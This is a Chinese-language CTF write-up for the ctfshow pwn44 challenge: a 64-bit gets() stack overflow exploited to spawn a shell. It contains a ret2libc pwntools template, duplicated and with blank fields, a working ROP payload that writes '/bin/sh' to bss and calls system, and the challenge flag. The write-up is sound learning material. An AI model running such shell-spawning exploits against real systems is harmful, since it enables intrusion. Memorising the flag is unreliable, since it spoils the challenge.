pwn44
64位的 system(); 但是好像没"/bin/sh" 上面的办法不行了,想想办法
检查保护,只开启了代码执行保护
在 ctfshow
函数中发现栈溢出
__int64 ctfshow()
{
char v1[10]; // [rsp+6h] [rbp-Ah] BYREF
return gets(v1);
}
在 hint
函数中发现 system
int hint()
{
return system("no shell for you");
}
未能发现现成的 /bin/sh
,这里我首先想到的是利用 puts
来进行 ret2libc
64ret2libc
ret2libc的目的是劫持binary执行system('/bin/sh')
。一般要借助溢出点进行两次劫持。
第一次劫持是为了泄露出某个函数地址,第二次劫持是为了控制binary返回到libc中执行system('/bin/sh')
。
第一次劫持需要构造两个条件:
- 控制binary,为第二次劫持布局。
- 寻找output函数和待泄露函数。
函数的真正地址计算公式如下:
==函数的真正地址 = Libc的基地址 + 偏移地址==
from pwn import *
from LibcSearcher import *
io = remote('',)
from pwn import *
from LibcSearcher import *
io = remote('',)
# io=process("")
elf = ELF('')
# libc= ELF('libc.so.6')
ret_add =
pop_rdi =
main_add =
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
print("Puts_got: ",hex(puts_got))
print("Puts_plt: ",hex(puts_plt))
offset=
payload1 = b'a' * (offset+8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_add)
io.sendlineafter(b'', payload1)
puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print("Puts_addr: ",hex(puts_addr))
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_add = libc_base + libc.dump('system')
bin_sh_add = libc_base + libc.dump('str_bin_sh')
# libc_base = puts_addr - libc.symbols['puts']
# system_add = libc_base + libc.symbols['system']
# bin_sh_add = libc_base + next(libc.search(b'/bin/sh'))
payload2 = b'a' * (offset+8) + p64(ret_add) + p64(pop_rdi) + p64(bin_sh_add) + p64(system_add)
io.sendlineafter(b'', payload2)
io.interactive()
elf = ELF('')
# libc= ELF('libc.so.6')
ret_add =
pop_rdi =
main_add =
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
print("Puts_got: ",hex(puts_got))
print("Puts_plt: ",hex(puts_plt))
offset=
payload1 = b'a' * (offset+8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_add)
io.sendlineafter(b'', payload1)
puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print("Puts_addr: ",hex(puts_addr))
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_add = libc_base + libc.dump('system')
bin_sh_add = libc_base + libc.dump('str_bin_sh')
# libc_base = puts_addr - libc.symbols['puts']
# system_add = libc_base + libc.symbols['system']
# bin_sh_add = libc_base + next(libc.search(b'/bin/sh'))
payload2 = b'a' * (offset+8) + p64(ret_add) + p64(pop_rdi) + p64(bin_sh_add) + p64(system_add)
io.sendlineafter(b'', payload2)
io.interactive()
查找相关寄存器地址,但是当我构造好exp后,发现了一个致命的问题,不知道为什么无法泄露出put函数的地址。这里便回去看了下pwn43,发现是在可写的bss段写入 /bin/sh
。
先在gdb中用vmmap查看内存段的权限信息,发现在0x602000到0x603000区段有可写权限
在这个地址范围内找到了一个 buf2 参数,确定了写入位置
大致思路是通过gets函数将 /bin/sh 写入 buf2 ,再调用system
from pwn import*
context(log_level = 'debug', arch = 'i386', os = 'linux')
# io=process("pwn")
io= remote("pwn.challenge.ctf.show",28177)
pop_rdi_ret = 0x00000000004007f3
buf2_add = 0x0000000000602080
gets_add = 0x0000000000400530
ret_add = 0x00000000004004fe
system_add = 0x0000000000400520
offset=0xA
payload = b'a'*(offset+8) + p64(pop_rdi_ret) + p64(buf2_add) + p64(ret_add) + p64(gets_add) + p64(pop_rdi_ret) + p64(buf2_add) + p64(ret_add) + p64(system_add)
io.recv()
io.sendline(payload)
io.sendline('/bin/sh')
io.interactive()
# ctfshow{aa2873eb-a787-4c6d-9b54-fd2837543fd2}
好好好 原来是可以打ret2libc的 晚上研究一下哪儿写错了(ó﹏ò。)